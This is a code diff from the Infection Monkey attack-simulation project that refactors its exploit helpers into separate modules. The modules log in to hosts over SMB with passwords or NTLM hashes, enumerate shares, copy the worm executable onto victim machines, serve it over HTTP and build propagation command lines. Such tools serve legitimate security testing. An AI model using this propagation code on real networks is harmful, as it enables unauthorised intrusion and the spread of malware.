- def dcom_wrap(func):
- def _wrapper(*args, **kwarg):
- try:
- return func(*args, **kwarg)
- finally:
- WmiTools.dcom_cleanup()
-
- return _wrapper
-
- @staticmethod
- def dcom_cleanup():
- for port_map in DCOMConnection.PORTMAPS.keys():
- del DCOMConnection.PORTMAPS[port_map]
- for oid_set in DCOMConnection.OID_SET.keys():
- del DCOMConnection.OID_SET[port_map]
-
- DCOMConnection.OID_SET = {}
- DCOMConnection.PORTMAPS = {}
- if DCOMConnection.PINGTIMER:
- DCOMConnection.PINGTIMER.cancel()
- DCOMConnection.PINGTIMER.join()
- DCOMConnection.PINGTIMER = None
-
- @staticmethod
- def get_object(wmi_connection, object_name):
- assert isinstance(wmi_connection, WmiTools.WmiConnection)
- assert wmi_connection.connected, "WmiConnection isn't connected"
-
- return wmi_connection._iWbemServices.GetObject(object_name)[0]
-
- @staticmethod
- def list_object(wmi_connection, object_name, fields=None, where=None):
- assert isinstance(wmi_connection, WmiTools.WmiConnection)
- assert wmi_connection.connected, "WmiConnection isn't connected"
-
- if fields:
- fields_query = ",".join(fields)
- else:
- fields_query = "*"
-
- wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
-
- if where:
- wql_query += " WHERE %s" % (where,)
-
- LOG.debug("Execution WQL query: %r", wql_query)
-
- iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
-
- query = []
- try:
- while True:
- try:
- next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
- record = next_item.getProperties()
-
- if not fields:
- fields = record.keys()
-
- query_record = {}
- for key in fields:
- query_record[key] = record[key]['value']
-
- query.append(query_record)
- except DCERPCSessionError as exc:
- if 1 == exc.error_code:
- break
-
- raise
- finally:
- iEnumWbemClassObject.RemRelease()
-
- return query
-
-
-class SmbTools(object):
- @staticmethod
- def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
- assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
- config = infection_monkey.config.WormConfiguration
- src_file_size = monkeyfs.getsize(src_path)
-
- smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
- if not smb:
- return None
-
- # skip guest users
- if smb.isGuestSession() > 0:
- LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
- " LM hash: %s, NTLM hash: %s",
- host, username, password, lm_hash, ntlm_hash)
-
- try:
- smb.logoff()
- except:
- pass
-
- return None
-
- try:
- resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
- except Exception as exc:
- LOG.debug("Error requesting server info from %r over SMB: %s",
- host, exc)
- return None
-
- info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
- 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
- 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
- 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
- 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
- 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
-
- LOG.debug("Connected to %r using %s:\n%s",
- host, dialect, pprint.pformat(info))
-
- try:
- resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
- except Exception as exc:
- LOG.debug("Error enumerating server shares from %r over SMB: %s",
- host, exc)
- return None
-
- resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
-
- high_priority_shares = ()
- low_priority_shares = ()
- file_name = ntpath.split(dst_path)[-1]
-
- for i in range(len(resp)):
- share_name = resp[i]['shi2_netname'].strip("\0 ")
- share_path = resp[i]['shi2_path'].strip("\0 ")
- current_uses = resp[i]['shi2_current_uses']
- max_uses = resp[i]['shi2_max_uses']
-
- if current_uses >= max_uses:
- LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
- share_name, host)
- continue
- elif not share_path:
- LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
- share_name, host)
- continue
-
- share_info = {'share_name': share_name,
- 'share_path': share_path}
-
- if dst_path.lower().startswith(share_path.lower()):
- high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
-
- low_priority_shares += ((ntpath.sep + file_name, share_info),)
-
- shares = high_priority_shares + low_priority_shares
-
- file_uploaded = False
- for remote_path, share in shares:
- share_name = share['share_name']
- share_path = share['share_path']
-
- if not smb:
- smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
- if not smb:
- return None
-
- try:
- tid = smb.connectTree(share_name)
- except Exception as exc:
- LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
- share_name, host, exc)
- continue
-
- LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
- share_name, share_path, remote_path, host)
-
- remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
-
- # check if file is found on destination
- if config.skip_exploit_if_file_exist:
- try:
- file_info = smb.listPath(share_name, remote_path)
- if file_info:
- if src_file_size == file_info[0].get_filesize():
- LOG.debug("Remote monkey file is same as source, skipping copy")
- return remote_full_path
-
- LOG.debug("Remote monkey file is found but different, moving along with attack")
- except:
- pass # file isn't found on remote victim, moving on
-
- try:
- with monkeyfs.open(src_path, 'rb') as source_file:
- # make sure of the timeout
- smb.setTimeout(timeout)
- smb.putFile(share_name, remote_path, source_file.read)
-
- file_uploaded = True
-
- LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
- src_path, share_name, share_path, host)
-
- break
- except Exception as exc:
- LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
- share_name, host, exc)
- continue
- finally:
- try:
- smb.logoff()
- except:
- pass
-
- smb = None
-
- if not file_uploaded:
- LOG.debug("Couldn't find a writable share for exploiting"
- " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
- host, username, password, lm_hash, ntlm_hash)
- return None
-
- return remote_full_path
-
- @staticmethod
- def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
- try:
- smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
- except Exception as exc:
- LOG.debug("SMB connection to %r on port 445 failed,"
- " trying port 139 (%s)", host, exc)
-
- try:
- smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
- except Exception as exc:
- LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
- host, exc)
- return None, None
-
- dialect = {SMB_DIALECT: "SMBv1",
- SMB2_DIALECT_002: "SMBv2.0",
- SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
-
- # we know this should work because the WMI connection worked
- try:
- smb.login(username, password, '', lm_hash, ntlm_hash)
- except Exception as exc:
- LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
- host, username, password, lm_hash, ntlm_hash, exc)
- return None, dialect
-
- smb.setTimeout(timeout)
- return smb, dialect
-
- @staticmethod
- def execute_rpc_call(smb, rpc_func, *args):
- dce = SmbTools.get_dce_bind(smb)
- rpc_method_wrapper = getattr(srvs, rpc_func, None)
- if not rpc_method_wrapper:
- raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
-
- return rpc_method_wrapper(dce, *args)
-
- @staticmethod
- def get_dce_bind(smb):
- rpctransport = transport.SMBTransport(smb.getRemoteHost(),
- smb.getRemoteHost(),
- filename=r'\srvsvc',
- smb_connection=smb)
- dce = rpctransport.get_dce_rpc()
- dce.connect()
- dce.bind(srvs.MSRPC_UUID_SRVS)
-
- return dce
-
-
-class HTTPTools(object):
- @staticmethod
- def create_transfer(host, src_path, local_ip=None, local_port=None):
- if not local_port:
- local_port = get_free_tcp_port()
-
- if not local_ip:
- local_ip = get_interface_to_target(host.ip_addr)
-
- if not firewall.listen_allowed():
- return None, None
-
- httpd = HTTPServer(local_ip, local_port, src_path)
- httpd.daemon = True
- httpd.start()
-
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
-
- @staticmethod
- def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
- """
- Create http server for file transfer with a lock
- :param host: Variable with target's information
- :param src_path: Monkey's path on current system
- :param local_ip: IP where to host server
- :param local_port: Port at which to host monkey's download
- :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
- """
- # To avoid race conditions we pass a locked lock to http servers thread
- lock = Lock()
- lock.acquire()
- if not local_port:
- local_port = get_free_tcp_port()
-
- if not local_ip:
- local_ip = get_interface_to_target(host.ip_addr)
-
- if not firewall.listen_allowed():
- LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
- return None, None
-
- httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
- httpd.start()
- lock.acquire()
- return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
-
-
-def get_interface_to_target(dst):
- if sys.platform == "win32":
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- try:
- s.connect((dst, 1))
- ip_to_dst = s.getsockname()[0]
- except KeyError:
- ip_to_dst = '127.0.0.1'
- finally:
- s.close()
- return ip_to_dst
- else:
- # based on scapy implementation
-
- def atol(x):
- ip = socket.inet_aton(x)
- return struct.unpack("!I", ip)[0]
-
- routes = get_routes()
- dst = atol(dst)
- paths = []
- for d, m, gw, i, a in routes:
- aa = atol(a)
- if aa == dst:
- paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
- if (dst & m) == (d & m):
- paths.append((m, (i, a, gw)))
- if not paths:
- return None
- paths.sort()
- ret = paths[-1][1]
- return ret[1]
-
-
-def get_target_monkey(host):
- from infection_monkey.control import ControlClient
- import platform
- import sys
-
- if host.monkey_exe:
- return host.monkey_exe
-
- if not host.os.get('type'):
- return None
-
- monkey_path = ControlClient.download_monkey_exe(host)
-
- if host.os.get('machine') and monkey_path:
- host.monkey_exe = monkey_path
-
- if not monkey_path:
- if host.os.get('type') == platform.system().lower():
- # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
- if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
- host.os.get('machine', '').lower() == platform.machine().lower():
- monkey_path = sys.executable
-
- return monkey_path
-
-
-def get_target_monkey_by_os(is_windows, is_32bit):
- from infection_monkey.control import ControlClient
- return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
-
-
-def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
- cmdline = ""
-
- if parent is not None:
- cmdline += " -p " + parent
- if tunnel is not None:
- cmdline += " -t " + tunnel
- if server is not None:
- cmdline += " -s " + server
- if depth is not None:
- if depth < 0:
- depth = 0
- cmdline += " -d %d" % depth
- if location is not None:
- cmdline += " -l %s" % location
-
- return cmdline
-
-
-def build_monkey_commandline(target_host, depth, location=None):
- from infection_monkey.config import GUID
- return build_monkey_commandline_explicitly(
- GUID, target_host.default_tunnel, target_host.default_server, depth, location)
-
-
-def get_monkey_depth():
- from infection_monkey.config import WormConfiguration
- return WormConfiguration.depth
-
-
-def get_monkey_dest_path(url_to_monkey):
- """
- Gets destination path from monkey's source url.
- :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
- :return: Corresponding monkey path from configuration
- """
- from infection_monkey.config import WormConfiguration
- if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
- LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
- return False
- try:
- if 'linux' in url_to_monkey:
- return WormConfiguration.dropper_target_path_linux
- elif 'windows-32' in url_to_monkey:
- return WormConfiguration.dropper_target_path_win_32
- elif 'windows-64' in url_to_monkey:
- return WormConfiguration.dropper_target_path_win_64
- else:
- LOG.error("Could not figure out what type of monkey server was trying to upload, "
- "thus destination path can not be chosen.")
- return False
- except AttributeError:
- LOG.error("Seems like monkey's source configuration property names changed. "
- "Can not get destination path to upload monkey")
- return False
diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py
new file mode 100644
index 000000000..eabe8d9d7
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/exceptions.py
@@ -0,0 +1,5 @@
+
+
+class ExploitingVulnerableMachineError(Exception):
+ """ Raise when exploiter failed, but machine is vulnerable"""
+ pass
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
new file mode 100644
index 000000000..91a25c270
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -0,0 +1,142 @@
+import logging
+import socket
+import struct
+import sys
+
+from infection_monkey.network.info import get_routes
+
+LOG = logging.getLogger(__name__)
+
+
+def get_interface_to_target(dst):
+ """
+ :param dst: destination IP address string without port. E.G. '192.168.1.1.'
+ :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
+ """
+ if sys.platform == "win32":
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ try:
+ s.connect((dst, 1))
+ ip_to_dst = s.getsockname()[0]
+ except KeyError:
+ LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
+ ip_to_dst = '127.0.0.1'
+ finally:
+ s.close()
+ return ip_to_dst
+ else:
+ # based on scapy implementation
+
+ def atol(x):
+ ip = socket.inet_aton(x)
+ return struct.unpack("!I", ip)[0]
+
+ routes = get_routes()
+ dst = atol(dst)
+ paths = []
+ for d, m, gw, i, a in routes:
+ aa = atol(a)
+ if aa == dst:
+ paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
+ if (dst & m) == (d & m):
+ paths.append((m, (i, a, gw)))
+ if not paths:
+ return None
+ paths.sort()
+ ret = paths[-1][1]
+ return ret[1]
+
+
+def try_get_target_monkey(host):
+ src_path = get_target_monkey(host)
+ if not src_path:
+ raise Exception("Can't find suitable monkey executable for host %r", host)
+ return src_path
+
+
+def get_target_monkey(host):
+ from infection_monkey.control import ControlClient
+ import platform
+ import sys
+
+ if host.monkey_exe:
+ return host.monkey_exe
+
+ if not host.os.get('type'):
+ return None
+
+ monkey_path = ControlClient.download_monkey_exe(host)
+
+ if host.os.get('machine') and monkey_path:
+ host.monkey_exe = monkey_path
+
+ if not monkey_path:
+ if host.os.get('type') == platform.system().lower():
+ # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
+ if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
+ host.os.get('machine', '').lower() == platform.machine().lower():
+ monkey_path = sys.executable
+
+ return monkey_path
+
+
+def get_target_monkey_by_os(is_windows, is_32bit):
+ from infection_monkey.control import ControlClient
+ return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
+
+
+def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
+ cmdline = ""
+
+ if parent is not None:
+ cmdline += " -p " + parent
+ if tunnel is not None:
+ cmdline += " -t " + tunnel
+ if server is not None:
+ cmdline += " -s " + server
+ if depth is not None:
+ if depth < 0:
+ depth = 0
+ cmdline += " -d %d" % depth
+ if location is not None:
+ cmdline += " -l %s" % location
+
+ return cmdline
+
+
+def build_monkey_commandline(target_host, depth, location=None):
+ from infection_monkey.config import GUID
+ return build_monkey_commandline_explicitly(
+ GUID, target_host.default_tunnel, target_host.default_server, depth, location)
+
+
+def get_monkey_depth():
+ from infection_monkey.config import WormConfiguration
+ return WormConfiguration.depth
+
+
+def get_monkey_dest_path(url_to_monkey):
+ """
+ Gets destination path from monkey's source url.
+ :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
+ :return: Corresponding monkey path from configuration
+ """
+ from infection_monkey.config import WormConfiguration
+ if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
+ LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
+ return False
+ try:
+ if 'linux' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_linux
+ elif 'windows-32' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_win_32
+ elif 'windows-64' in url_to_monkey:
+ return WormConfiguration.dropper_target_path_win_64
+ else:
+ LOG.error("Could not figure out what type of monkey server was trying to upload, "
+ "thus destination path can not be chosen.")
+ return False
+ except AttributeError:
+ LOG.error("Seems like monkey's source configuration property names changed. "
+ "Can not get destination path to upload monkey")
+ return False
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
new file mode 100644
index 000000000..19b45b043
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -0,0 +1,90 @@
+import logging
+import os
+import os.path
+import urllib
+from threading import Lock
+
+from infection_monkey.network.firewall import app as firewall
+from infection_monkey.network.info import get_free_tcp_port
+from infection_monkey.transport import HTTPServer, LockedHTTPServer
+from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
+from infection_monkey.model import DOWNLOAD_TIMEOUT
+
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class HTTPTools(object):
+
+ @staticmethod
+ def create_transfer(host, src_path, local_ip=None, local_port=None):
+ if not local_port:
+ local_port = get_free_tcp_port()
+
+ if not local_ip:
+ local_ip = get_interface_to_target(host.ip_addr)
+
+ if not firewall.listen_allowed():
+ return None, None
+
+ httpd = HTTPServer(local_ip, local_port, src_path)
+ httpd.daemon = True
+ httpd.start()
+
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
+ @staticmethod
+ def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+ http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
+ if not http_path:
+ raise Exception("Http transfer creation failed.")
+ LOG.info("Started http server on %s", http_path)
+ return http_path, http_thread
+
+ @staticmethod
+ def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+ """
+ Create http server for file transfer with a lock
+ :param host: Variable with target's information
+ :param src_path: Monkey's path on current system
+ :param local_ip: IP where to host server
+ :param local_port: Port at which to host monkey's download
+ :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
+ """
+ # To avoid race conditions we pass a locked lock to http servers thread
+ lock = Lock()
+ lock.acquire()
+ if not local_port:
+ local_port = get_free_tcp_port()
+
+ if not local_ip:
+ local_ip = get_interface_to_target(host.ip_addr)
+
+ if not firewall.listen_allowed():
+ LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
+ return None, None
+
+ httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
+ httpd.start()
+ lock.acquire()
+ return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
+
+class MonkeyHTTPServer(HTTPTools):
+ def __init__(self, host):
+ super(MonkeyHTTPServer, self).__init__()
+ self.http_path = None
+ self.http_thread = None
+ self.host = host
+
+ def start(self):
+ # Get monkey exe for host and it's path
+ src_path = try_get_target_monkey(self.host)
+ self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
+
+ def stop(self):
+ if not self.http_path or not self.http_thread:
+ raise RuntimeError("Can't stop http server that wasn't started!")
+ self.http_thread.join(DOWNLOAD_TIMEOUT)
+ self.http_thread.stop()
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
new file mode 100644
index 000000000..31632b045
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -0,0 +1,63 @@
+import logging
+import textwrap
+
+LOG = logging.getLogger(__name__)
+
+
+class Payload(object):
+ """
+ Class for defining and parsing a payload (commands with prefixes/suffixes)
+ """
+
+ def __init__(self, command, prefix="", suffix=""):
+ self.command = command
+ self.prefix = prefix
+ self.suffix = suffix
+
+ def get_payload(self, command=""):
+ """
+ Returns prefixed and suffixed command (payload)
+ :param command: Command to suffix/prefix. If no command is passed than objects' property is used
+ :return: prefixed and suffixed command (full payload)
+ """
+ if not command:
+ command = self.command
+ return "{}{}{}".format(self.prefix, command, self.suffix)
+
+
+class LimitedSizePayload(Payload):
+ """
+ Class for defining and parsing commands/payloads
+ """
+
+ def __init__(self, command, max_length, prefix="", suffix=""):
+ """
+ :param command: command
+ :param max_length: max length that payload(prefix + command + suffix) can have
+ :param prefix: commands prefix
+ :param suffix: commands suffix
+ """
+ super(LimitedSizePayload, self).__init__(command, prefix, suffix)
+ self.max_length = max_length
+
+ def is_suffix_and_prefix_too_long(self):
+ return self.payload_is_too_long(self.suffix + self.prefix)
+
+ def split_into_array_of_smaller_payloads(self):
+ if self.is_suffix_and_prefix_too_long():
+ raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
+ "exceeds required length of command.")
+
+ elif self.command == "":
+ return [self.prefix+self.suffix]
+ wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
+ commands = [self.get_payload(part)
+ for part
+ in wrapper.wrap(self.command)]
+ return commands
+
+ def get_max_sub_payload_length(self):
+ return self.max_length - len(self.prefix) - len(self.suffix)
+
+ def payload_is_too_long(self, command):
+ return len(command) >= self.max_length
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
new file mode 100644
index 000000000..af682dbff
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
@@ -0,0 +1,32 @@
+from unittest import TestCase
+from payload_parsing import Payload, LimitedSizePayload
+
+
+class TestPayload(TestCase):
+ def test_get_payload(self):
+ test_str1 = "abc"
+ test_str2 = "atc"
+ payload = Payload(command="b", prefix="a", suffix="c")
+ assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
+
+ def test_is_suffix_and_prefix_too_long(self):
+ pld_fail = LimitedSizePayload("b", 2, "a", "c")
+ pld_success = LimitedSizePayload("b", 3, "a", "c")
+ assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
+
+ def test_split_into_array_of_smaller_payloads(self):
+ test_str1 = "123456789"
+ pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
+ array1 = pld1.split_into_array_of_smaller_payloads()
+ test1 = bool(array1[0] == "prefix1234suffix" and
+ array1[1] == "prefix5678suffix" and
+ array1[2] == "prefix9suffix")
+
+ test_str2 = "12345678"
+ pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
+ array2 = pld2.split_into_array_of_smaller_payloads()
+ test2 = bool(array2[0] == "prefix1234suffix" and
+ array2[1] == "prefix5678suffix" and len(array2) == 2)
+
+ assert test1 and test2
+
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
new file mode 100644
index 000000000..51564518e
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -0,0 +1,238 @@
+import logging
+import ntpath
+import pprint
+
+from impacket.dcerpc.v5 import transport, srvs
+from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
+from impacket.smbconnection import SMBConnection, SMB_DIALECT
+
+import infection_monkey.config
+import infection_monkey.monkeyfs as monkeyfs
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.config import Configuration
+__author__ = 'itamar'
+
+LOG = logging.getLogger(__name__)
+
+
+class SmbTools(object):
+
+ @staticmethod
+ def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
+ assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
+ config = infection_monkey.config.WormConfiguration
+ src_file_size = monkeyfs.getsize(src_path)
+
+ smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
+ if not smb:
+ return None
+
+ # skip guest users
+ if smb.isGuestSession() > 0:
+ LOG.debug("Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s',"
+ " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
+ host,
+ username,
+ Configuration.hash_sensitive_data(password),
+ Configuration.hash_sensitive_data(lm_hash),
+ Configuration.hash_sensitive_data(ntlm_hash))
+
+ try:
+ smb.logoff()
+ except:
+ pass
+
+ return None
+
+ try:
+ resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
+ except Exception as exc:
+ LOG.debug("Error requesting server info from %r over SMB: %s",
+ host, exc)
+ return None
+
+ info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
+ 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
+ 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
+ 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
+ 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
+ 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
+
+ LOG.debug("Connected to %r using %s:\n%s",
+ host, dialect, pprint.pformat(info))
+
+ try:
+ resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
+ except Exception as exc:
+ LOG.debug("Error enumerating server shares from %r over SMB: %s",
+ host, exc)
+ return None
+
+ resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
+
+ high_priority_shares = ()
+ low_priority_shares = ()
+ file_name = ntpath.split(dst_path)[-1]
+
+ for i in range(len(resp)):
+ share_name = resp[i]['shi2_netname'].strip("\0 ")
+ share_path = resp[i]['shi2_path'].strip("\0 ")
+ current_uses = resp[i]['shi2_current_uses']
+ max_uses = resp[i]['shi2_max_uses']
+
+ if current_uses >= max_uses:
+ LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
+ share_name, host)
+ continue
+ elif not share_path:
+ LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
+ share_name, host)
+ continue
+
+ share_info = {'share_name': share_name,
+ 'share_path': share_path}
+
+ if dst_path.lower().startswith(share_path.lower()):
+ high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
+
+ low_priority_shares += ((ntpath.sep + file_name, share_info),)
+
+ shares = high_priority_shares + low_priority_shares
+
+ file_uploaded = False
+ for remote_path, share in shares:
+ share_name = share['share_name']
+ share_path = share['share_path']
+
+ if not smb:
+ smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
+ if not smb:
+ return None
+
+ try:
+ tid = smb.connectTree(share_name)
+ except Exception as exc:
+ LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
+ share_name, host, exc)
+ continue
+
+ LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
+ share_name, share_path, remote_path, host.ip_addr[0], )
+
+ remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
+
+ # check if file is found on destination
+ if config.skip_exploit_if_file_exist:
+ try:
+ file_info = smb.listPath(share_name, remote_path)
+ if file_info:
+ if src_file_size == file_info[0].get_filesize():
+ LOG.debug("Remote monkey file is same as source, skipping copy")
+ return remote_full_path
+
+ LOG.debug("Remote monkey file is found but different, moving along with attack")
+ except:
+ pass # file isn't found on remote victim, moving on
+
+ try:
+ with monkeyfs.open(src_path, 'rb') as source_file:
+ # make sure of the timeout
+ smb.setTimeout(timeout)
+ smb.putFile(share_name, remote_path, source_file.read)
+
+ file_uploaded = True
+ T1105Telem(ScanStatus.USED,
+ get_interface_to_target(host.ip_addr),
+ host.ip_addr,
+ dst_path).send()
+ LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
+ src_path, share_name, share_path, host)
+
+ break
+ except Exception as exc:
+ LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
+ share_name, host, exc)
+ T1105Telem(ScanStatus.SCANNED,
+ get_interface_to_target(host.ip_addr),
+ host.ip_addr,
+ dst_path).send()
+ continue
+ finally:
+ try:
+ smb.logoff()
+ except:
+ pass
+
+ smb = None
+
+ if not file_uploaded:
+ LOG.debug("Couldn't find a writable share for exploiting victim %r with "
+ "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
+ host,
+ username,
+ Configuration.hash_sensitive_data(password),
+ Configuration.hash_sensitive_data(lm_hash),
+ Configuration.hash_sensitive_data(ntlm_hash))
+ return None
+
+ return remote_full_path
+
+ @staticmethod
+ def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
+ try:
+ smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
+ except Exception as exc:
+ LOG.debug("SMB connection to %r on port 445 failed,"
+ " trying port 139 (%s)", host, exc)
+
+ try:
+ smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
+ except Exception as exc:
+ LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
+ host, exc)
+ return None, None
+
+ dialect = {SMB_DIALECT: "SMBv1",
+ SMB2_DIALECT_002: "SMBv2.0",
+ SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
+
+ # we know this should work because the WMI connection worked
+ try:
+ smb.login(username, password, '', lm_hash, ntlm_hash)
+ except Exception as exc:
+ LOG.debug(
+ "Error while logging into %r using user: %s, password (SHA-512): '%s', "
+ "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
+ host,
+ username,
+ Configuration.hash_sensitive_data(password),
+ Configuration.hash_sensitive_data(lm_hash),
+ Configuration.hash_sensitive_data(ntlm_hash),
+ exc)
+ return None, dialect
+
+ smb.setTimeout(timeout)
+ return smb, dialect
+
